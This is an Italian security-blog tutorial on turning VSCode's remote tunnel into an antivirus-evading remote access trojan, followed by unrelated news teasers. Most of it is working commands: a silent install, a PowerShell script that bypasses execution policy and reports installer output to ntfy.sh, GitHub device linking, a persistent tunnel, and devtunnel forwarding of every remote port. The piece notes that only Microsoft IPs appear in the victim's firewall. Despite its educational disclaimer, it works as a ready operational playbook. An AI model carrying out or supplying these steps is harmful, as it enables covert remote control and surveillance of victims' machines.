
A cura di Roberto Bindi
Un “FUD RAT” è un tipo di malware che è stato progettato per essere completamente indetectable da strumenti di sicurezza e antivirus e che fornisce funzionalità di controllo remoto su un dispositivo o un computer di destinazione. Il nome del malware è una combinazione dei seguenti due termini:
Gli attaccanti spesso utilizzano FUD RAT per scopi malevoli, come il controllo di computer o dispositivi di vittime senza il loro consenso. È importante notare che l’uso di tali strumenti è illegale e viola la privacy e la sicurezza degli utenti.
In questo tutorial spiegheremo come utilizzare VSCode riportandoci agli albori di questi malware.
Nota1: questa funzionalità può essere utilizzata in modo dannoso, pertanto il tutorial riveste il solo scopo divulgativo e per consentire alle aziende di prendere le dovute accortezze per scongiurare tale minaccia;
Nota2: deve essere testato solo in sistemi di proprietà o macchine client.
Sei stanco di dover passare ore a sviluppare FUD RAT, solo per Sentinel One che lo segnala come positivo dopo un paio d’ore? Ti piacciono le GUI fantasiose e vuoi tornare ai primi anni ’90, quando i RAT avevano effettivamente GUI decenti?
Non temere! VSCode è qui per te!

Tutti conoscono VSCode e tutti ne hanno una sensazione molto positiva o molto negativa, ma oggi parleremo di come trasformarlo in un FUD e un RAT multipiattaforma davvero potente, completo di file manager con upload/download di file, shell, port forwarding e molto altro!
La cosa più ovvia e singolare di tutto questo è che, se fatto correttamente, gli unici IP mostrati nel Firewall della vittima sono di proprietà di Micro$oft.
Esistono diversi modi per implementarlo in un target, esamineremo principalmente l’implementazione di Windows ma vorrei sottolineare che tutte le tecniche descritte funzionano su Windows, Linux e OSx.
Vedremo due tecniche di distribuzione qui:
Installare vscode è semplice (come utente normale, non sono richiesti diritti di amministratore), basta eseguire:
winget install Microsoft.VisualStudioCode --accept-package-agreements --accept-source-agreements --silent --source winget

In questo modo, winget installerà automaticamente VSCode sotto: %localappdata%\Programs\Microsoft VS Code
Avvertenze: Installando l’app in questo modo, vscode apparirà nelle applicazioni installate come qualsiasi altra applicazione.
Se non abbiamo accesso a Winget possiamo sempre scegliere di scaricarlo utilizzando PowerShell (di nuovo, non sono richiesti diritti di amministratore):
# powershell.exe -noprofile -executionpolicy bypass -file .\test.ps1
$bkname = "yourmagicalname"
$ProgressPreference = 'SilentlyContinue'
$ErrorActionPreference = 'SilentlyContinue'
function Ntfy {
param (
$message
)
$Request = @{
Method = "POST"
URI = "https://ntfy.sh/${bkname}"
Body = $message
}
Invoke-RestMethod @Request | Out-Null
}
NTFY "Downloading vs.."
wget "https://code.visualstudio.com/sha/download?build=stable&os=win32-x64-archive" -OutFile "vs.zip"
NTFY "Downloading vc.."
wget "https://code.visualstudio.com/sha/download?build=stable&os=cli-win32-x64" -OutFile "vc.zip"
NTFY "Extracting vs.."
Remove-Item -Recurse -Force vs | Out-Null
Expand-Archive vs.zip -DestinationPath vs
NTFY "Extracting vc.."
Remove-Item -Recurse -Force vc | Out-Null
Expand-Archive vc.zip -DestinationPath vc
NTFY "Cleaning up.."
Remove-Item vs.zip
Remove-Item vc.zip
NTFY "Registering vs.."
.\vc\code.exe version use stable --install-dir ".\vs\" | Foreach-Object { NTFY "STDOUT> $_" }
Nel codice sopra possiamo notare che ntfy.sh viene utilizzato per tenerci aggiornati sull’avanzamento dell’installazione:

Questo sarà utile in seguito anche per recuperare il codice di abilitazione.
Successivamente, dobbiamo collegare il nuovo dispositivo al nostro Github, in questo modo:
cd ${YOUR_VISUAL_STUDIO_CODE_CLI_PATH}
$bkname = "yourmagicalname"
code tunnel rename "${bkname}"
L’ultimo comando stamperà un codice dispositivo

Nota: se installato tramite Winget ( Passaggio 1.A ), il percorso della CLI è:
%localappdata%\Programs\Microsoft VS Code\bin\
Se installato manualmente ( Passaggio 1.B ), il percorso cli è.\vc\
Ora apri il browser e visita https://github.com/login/device, effettua il login (se necessario) e inserisci il codice del dispositivo recuperato sopra:

Ancora una volta, ricorda che stai condividendo MOLTE INFORMAZIONI:

Quindi assicurati di aver scelto l’account Github corretto e premi “Autorizza Visual-Studio Code”.

La console confermerà l’operazione e rilascerà il terminale.
Avviare il tunnel è facile come eseguire:
.\code tunnel --accept-server-license-terms

Ora saremo in grado di raggiungere il sistema visitando https://vscode.dev/tunnel/yourmagicalname o collegandolo utilizzando l’estensione Remote Tunnel in vscode(è anche contenuta nel gruppo di estensioni Remote Development)

Al primo accesso la macchina scaricherà il server vscode appropriato e lo avvierà automaticamente. Dopo pochi secondi verremo accolti con un ambiente VSCode completamente funzionante tramite interfaccia web:

O client locale:


È possibile anche un port forwarding semplificato interagendo con la scheda “PORTS”:

Ma se abbiamo bisogno di qualcosa di più del semplice accesso ai servizi HTTP/HTTPS da remoto, possiamo utilizzare un altro strumento di madre Micro$oft:
Devtunnels (qui https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/get-started?tabs=windows )
Devtunnels è stato creato appositamente per interagire con i tunnel ed esporrà tutte le client ports localmente. Primo passo: accedi a github
devtunnel user login -g

Ora possiamo elencare i tunnel attivi:
devtunnel list

E finalmente possiamo inoltrare tutte le porte remote eseguendo:
devtunnel connect ${YOUR_TUNNEL_ID}

Ti è piaciuto questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.

Cyber NewsLa scoperta è avvenuta casualmente: navigando sulla versione web mobile di Instagram, Jatin Banga ha notato che i contenuti di alcuni profili privati erano visibili senza alcuna autorizzazione. Analizzando il traffico dati, ha individuato la…
Cyber NewsUn recente leak ha rivelato 149 milioni di login e password esposti online, tra cui account di servizi finanziari, social, gaming e siti di incontri. La scoperta è stata fatta dal ricercatore Jeremiah Fowler e…
Cyber NewsPixelCode nasce come progetto di ricerca che esplora una tecnica nascosta per archiviare dati binari all’interno di immagini o video. Invece di lasciare un eseguibile in chiaro, il file viene convertito in dati pixel, trasformando…
Cyber NewsDi recente, i ricercatori di sicurezza hanno osservato un’evoluzione preoccupante nelle tattiche offensive attribuite ad attori collegati alla Corea del Nord nell’ambito della campagna nota come Contagious Interview: non più semplici truffe di fake job…
Cyber NewsMicrosoft si appresta a introdurre un aggiornamento che trasforma una piccola abitudine manuale in un automatismo di sistema. Presto, Microsoft Teams sarà in grado di dedurre e mostrare la posizione fisica di un utente analizzando…